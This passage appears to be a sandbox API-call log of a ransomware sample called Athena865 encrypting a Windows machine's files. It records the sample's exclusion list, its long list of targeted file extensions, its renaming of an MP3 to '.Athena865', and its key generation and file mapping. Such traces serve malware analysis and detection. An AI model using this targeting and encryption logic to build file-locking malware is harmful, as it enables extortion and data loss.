(lpString="vvv") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0103.979] lstrlenW (lpString="wdb") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0103.979] lstrlenW (lpString="wmdb") returned 4 [0103.979] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0103.980] lstrlenW (lpString="wrk") returned 3 [0103.980] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0103.980] lstrlenW (lpString="xdb") returned 3 [0103.980] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0103.980] lstrlenW (lpString="xld") returned 3 [0103.980] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0103.980] lstrlenW (lpString="xmlff") returned 5 [0103.980] lstrcmpiW (lpString1="r.mp3", lpString2="xmlff") returned -1 [0103.980] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.Athena865") returned 91 [0103.980] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\documents and settings\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.Athena865" (normalized: "c:\\documents and settings\\public\\music\\sample music\\maid with the flaxen hair.mp3.athena865"), dwFlags=0x1) returned 1 [0103.981] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.Athena865" (normalized: "c:\\documents and settings\\public\\music\\sample music\\maid with the flaxen hair.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.981] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4113874) returned 1 [0103.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0103.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0103.982] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0103.982] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.982] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0103.982] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ec8e0, lpName=0x0) returned 0x154 [0103.984] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1ec8e0) returned 0x2d50000 [0104.073] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0104.139] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0104.158] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.159] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.159] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x549d40 [0104.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x549d40 [0104.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.160] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.177] CloseHandle (hObject=0x154) returned 1 [0104.177] CloseHandle (hObject=0x17c) returned 1 [0104.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.186] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="..") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="windows") returned -1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="bootmgr") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="temp") returned -1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="pagefile.sys") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="boot") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="ids.txt") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="ntuser.dat") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="perflogs") returned 1 [0104.186] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="MSBuild") returned 1 [0104.186] lstrlenW (lpString="Sleep Away.mp3") returned 14 [0104.186] lstrcpyW (in: lpString1=0x241e8b0, lpString2="Sleep Away.mp3" | out: lpString1="Sleep Away.mp3") returned="Sleep Away.mp3" [0104.186] lstrlenW (lpString="Sleep Away.mp3") returned 14 [0104.186] lstrlenW (lpString="Athena865") returned 9 [0104.186] lstrcmpiW (lpString1=" Away.mp3", lpString2="Athena865") returned -1 [0104.187] lstrlenW (lpString=".dll") returned 4 [0104.187] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".dll") returned 1 [0104.187] lstrlenW (lpString=".lnk") returned 4 [0104.187] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".lnk") returned 1 [0104.187] lstrlenW (lpString=".ini") returned 4 [0104.187] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".ini") returned 1 [0104.187] lstrlenW (lpString=".sys") returned 4 [0104.187] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".sys") returned 1 [0104.187] lstrlenW (lpString="Sleep Away.mp3") returned 14 [0104.187] lstrlenW (lpString="bak") returned 3 [0104.187] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0104.187] lstrlenW (lpString="ba_") returned 3 [0104.187] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0104.187] lstrlenW (lpString="dbb") returned 3 [0104.187] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0104.187] lstrlenW (lpString="vmdk") returned 4 [0104.187] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0104.187] lstrlenW (lpString="rar") returned 3 [0104.187] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0104.187] lstrlenW (lpString="zip") returned 3 [0104.187] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0104.187] lstrlenW (lpString="tgz") returned 3 [0104.187] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0104.187] lstrlenW (lpString="vbox") returned 4 [0104.187] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0104.187] lstrlenW (lpString="vdi") returned 3 [0104.187] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0104.187] lstrlenW (lpString="vhd") returned 3 [0104.187] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0104.187] lstrlenW (lpString="vhdx") returned 4 [0104.187] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0104.188] lstrlenW (lpString="avhd") returned 4 [0104.188] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0104.188] lstrlenW (lpString="db") returned 2 [0104.188] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0104.188] lstrlenW (lpString="db2") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0104.188] lstrlenW (lpString="db3") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0104.188] lstrlenW (lpString="dbf") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0104.188] lstrlenW (lpString="mdf") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0104.188] lstrlenW (lpString="mdb") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0104.188] lstrlenW (lpString="sql") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0104.188] lstrlenW (lpString="sqlite") returned 6 [0104.188] lstrcmpiW (lpString1="ay.mp3", lpString2="sqlite") returned -1 [0104.188] lstrlenW (lpString="sqlite3") returned 7 [0104.188] lstrcmpiW (lpString1="way.mp3", lpString2="sqlite3") returned 1 [0104.188] lstrlenW (lpString="sqlitedb") returned 8 [0104.188] lstrcmpiW (lpString1="Away.mp3", lpString2="sqlitedb") returned -1 [0104.188] lstrlenW (lpString="xml") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0104.188] lstrlenW (lpString="$er") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0104.188] lstrlenW (lpString="4dd") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0104.188] lstrlenW (lpString="4dl") returned 3 [0104.188] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0104.188] lstrlenW (lpString="^^^") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0104.189] lstrlenW (lpString="abs") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0104.189] lstrlenW (lpString="abx") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0104.189] lstrlenW (lpString="accdb") returned 5 [0104.189] lstrcmpiW (lpString1="y.mp3", lpString2="accdb") returned 1 [0104.189] lstrlenW (lpString="accdc") returned 5 [0104.189] lstrcmpiW (lpString1="y.mp3", lpString2="accdc") returned 1 [0104.189] lstrlenW (lpString="accde") returned 5 [0104.189] lstrcmpiW (lpString1="y.mp3", lpString2="accde") returned 1 [0104.189] lstrlenW (lpString="accdr") returned 5 [0104.189] lstrcmpiW (lpString1="y.mp3", lpString2="accdr") returned 1 [0104.189] lstrlenW (lpString="accdt") returned 5 [0104.189] lstrcmpiW (lpString1="y.mp3", lpString2="accdt") returned 1 [0104.189] lstrlenW (lpString="accdw") returned 5 [0104.189] lstrcmpiW (lpString1="y.mp3", lpString2="accdw") returned 1 [0104.189] lstrlenW (lpString="accft") returned 5 [0104.189] lstrcmpiW (lpString1="y.mp3", lpString2="accft") returned 1 [0104.189] lstrlenW (lpString="adb") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0104.189] lstrlenW (lpString="adb") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0104.189] lstrlenW (lpString="ade") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0104.189] lstrlenW (lpString="adf") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0104.189] lstrlenW (lpString="adn") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0104.189] lstrlenW (lpString="adp") returned 3 [0104.189] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0104.190] lstrlenW (lpString="alf") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0104.190] lstrlenW (lpString="ask") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0104.190] lstrlenW (lpString="btr") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0104.190] lstrlenW (lpString="cat") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0104.190] lstrlenW (lpString="cdb") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0104.190] lstrlenW (lpString="ckp") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0104.190] lstrlenW (lpString="cma") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0104.190] lstrlenW (lpString="cpd") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0104.190] lstrlenW (lpString="dacpac") returned 6 [0104.190] lstrcmpiW (lpString1="ay.mp3", lpString2="dacpac") returned -1 [0104.190] lstrlenW (lpString="dad") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0104.190] lstrlenW (lpString="dadiagrams") returned 10 [0104.190] lstrcmpiW (lpString1="p Away.mp3", lpString2="dadiagrams") returned 1 [0104.190] lstrlenW (lpString="daschema") returned 8 [0104.190] lstrcmpiW (lpString1="Away.mp3", lpString2="daschema") returned -1 [0104.190] lstrlenW (lpString="db-journal") returned 10 [0104.190] lstrcmpiW (lpString1="p Away.mp3", lpString2="db-journal") returned 1 [0104.190] lstrlenW (lpString="db-shm") returned 6 [0104.190] lstrcmpiW (lpString1="ay.mp3", lpString2="db-shm") returned -1 [0104.190] lstrlenW (lpString="db-wal") returned 6 [0104.190] lstrcmpiW (lpString1="ay.mp3", lpString2="db-wal") returned -1 [0104.190] lstrlenW (lpString="dbc") returned 3 [0104.190] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0104.191] lstrlenW (lpString="dbs") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0104.191] lstrlenW (lpString="dbt") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0104.191] lstrlenW (lpString="dbv") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0104.191] lstrlenW (lpString="dbx") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0104.191] lstrlenW (lpString="dcb") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0104.191] lstrlenW (lpString="dct") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0104.191] lstrlenW (lpString="dcx") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0104.191] lstrlenW (lpString="ddl") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0104.191] lstrlenW (lpString="dlis") returned 4 [0104.191] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0104.191] lstrlenW (lpString="dp1") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0104.191] lstrlenW (lpString="dqy") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0104.191] lstrlenW (lpString="dsk") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0104.191] lstrlenW (lpString="dsn") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0104.191] lstrlenW (lpString="dtsx") returned 4 [0104.191] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0104.191] lstrlenW (lpString="dxl") returned 3 [0104.191] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0104.191] lstrlenW (lpString="eco") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0104.192] lstrlenW (lpString="ecx") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0104.192] lstrlenW (lpString="edb") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0104.192] lstrlenW (lpString="epim") returned 4 [0104.192] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0104.192] lstrlenW (lpString="fcd") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0104.192] lstrlenW (lpString="fdb") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0104.192] lstrlenW (lpString="fic") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0104.192] lstrlenW (lpString="flexolibrary") returned 12 [0104.192] lstrcmpiW (lpString1="eep Away.mp3", lpString2="flexolibrary") returned -1 [0104.192] lstrlenW (lpString="fm5") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0104.192] lstrlenW (lpString="fmp") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0104.192] lstrlenW (lpString="fmp12") returned 5 [0104.192] lstrcmpiW (lpString1="y.mp3", lpString2="fmp12") returned 1 [0104.192] lstrlenW (lpString="fmpsl") returned 5 [0104.192] lstrcmpiW (lpString1="y.mp3", lpString2="fmpsl") returned 1 [0104.192] lstrlenW (lpString="fol") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0104.192] lstrlenW (lpString="fp3") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0104.192] lstrlenW (lpString="fp4") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0104.192] lstrlenW (lpString="fp5") returned 3 [0104.192] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0104.192] lstrlenW (lpString="fp7") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0104.193] lstrlenW (lpString="fpt") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0104.193] lstrlenW (lpString="frm") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0104.193] lstrlenW (lpString="gdb") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0104.193] lstrlenW (lpString="gdb") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0104.193] lstrlenW (lpString="grdb") returned 4 [0104.193] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0104.193] lstrlenW (lpString="gwi") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0104.193] lstrlenW (lpString="hdb") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0104.193] lstrlenW (lpString="his") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0104.193] lstrlenW (lpString="ib") returned 2 [0104.193] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0104.193] lstrlenW (lpString="idb") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0104.193] lstrlenW (lpString="ihx") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0104.193] lstrlenW (lpString="itdb") returned 4 [0104.193] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0104.193] lstrlenW (lpString="itw") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0104.193] lstrlenW (lpString="jet") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0104.193] lstrlenW (lpString="jtx") returned 3 [0104.193] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0104.194] lstrlenW (lpString="kdb") returned 3 [0104.194] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0104.194] lstrlenW (lpString="kexi") returned 4 [0104.194] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0104.194] lstrlenW (lpString="kexic") returned 5 [0104.194] lstrcmpiW (lpString1="y.mp3", lpString2="kexic") returned 1 [0104.194] lstrlenW (lpString="kexis") returned 5 [0104.194] lstrcmpiW (lpString1="y.mp3", lpString2="kexis") returned 1 [0104.194] lstrlenW (lpString="lgc") returned 3 [0104.194] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0104.194] lstrlenW (lpString="lwx") returned 3 [0104.194] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0104.194] lstrlenW (lpString="maf") returned 3 [0104.194] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0104.194] lstrlenW (lpString="maq") returned 3 [0104.194] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0104.194] lstrlenW (lpString="mar") returned 3 [0104.194] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0104.194] lstrlenW (lpString="marshal") returned 7 [0104.194] lstrcmpiW (lpString1="way.mp3", lpString2="marshal") returned 1 [0104.194] lstrlenW (lpString="mas") returned 3 [0104.194] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0104.194] lstrlenW (lpString="mav") returned 3 [0104.194] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0104.195] lstrlenW (lpString="maw") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0104.195] lstrlenW (lpString="mdbhtml") returned 7 [0104.195] lstrcmpiW (lpString1="way.mp3", lpString2="mdbhtml") returned 1 [0104.195] lstrlenW (lpString="mdn") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0104.195] lstrlenW (lpString="mdt") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0104.195] lstrlenW (lpString="mfd") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0104.195] lstrlenW (lpString="mpd") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0104.195] lstrlenW (lpString="mrg") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0104.195] lstrlenW (lpString="mud") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0104.195] lstrlenW (lpString="mwb") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0104.195] lstrlenW (lpString="myd") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0104.195] lstrlenW (lpString="ndf") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0104.195] lstrlenW (lpString="nnt") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0104.195] lstrlenW (lpString="nrmlib") returned 6 [0104.195] lstrcmpiW (lpString1="ay.mp3", lpString2="nrmlib") returned -1 [0104.195] lstrlenW (lpString="ns2") returned 3 [0104.195] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0104.195] lstrlenW (lpString="ns3") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0104.196] lstrlenW (lpString="ns4") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0104.196] lstrlenW (lpString="nsf") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0104.196] lstrlenW (lpString="nv") returned 2 [0104.196] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0104.196] lstrlenW (lpString="nv2") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0104.196] lstrlenW (lpString="nwdb") returned 4 [0104.196] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0104.196] lstrlenW (lpString="nyf") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0104.196] lstrlenW (lpString="odb") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0104.196] lstrlenW (lpString="odb") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0104.196] lstrlenW (lpString="oqy") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0104.196] lstrlenW (lpString="ora") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0104.196] lstrlenW (lpString="orx") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0104.196] lstrlenW (lpString="owc") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0104.196] lstrlenW (lpString="p96") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0104.196] lstrlenW (lpString="p97") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0104.196] lstrlenW (lpString="pan") returned 3 [0104.196] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0104.197] lstrlenW (lpString="pdb") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0104.197] lstrlenW (lpString="pdm") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0104.197] lstrlenW (lpString="pnz") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0104.197] lstrlenW (lpString="qry") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0104.197] lstrlenW (lpString="qvd") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0104.197] lstrlenW (lpString="rbf") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0104.197] lstrlenW (lpString="rctd") returned 4 [0104.197] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0104.197] lstrlenW (lpString="rod") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0104.197] lstrlenW (lpString="rodx") returned 4 [0104.197] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0104.197] lstrlenW (lpString="rpd") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0104.197] lstrlenW (lpString="rsd") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0104.197] lstrlenW (lpString="sas7bdat") returned 8 [0104.197] lstrcmpiW (lpString1="Away.mp3", lpString2="sas7bdat") returned -1 [0104.197] lstrlenW (lpString="sbf") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0104.197] lstrlenW (lpString="scx") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0104.197] lstrlenW (lpString="sdb") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0104.197] lstrlenW (lpString="sdc") returned 3 [0104.197] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0104.198] lstrlenW (lpString="sdf") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0104.198] lstrlenW (lpString="sis") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0104.198] lstrlenW (lpString="spq") returned 3 [0104.198] 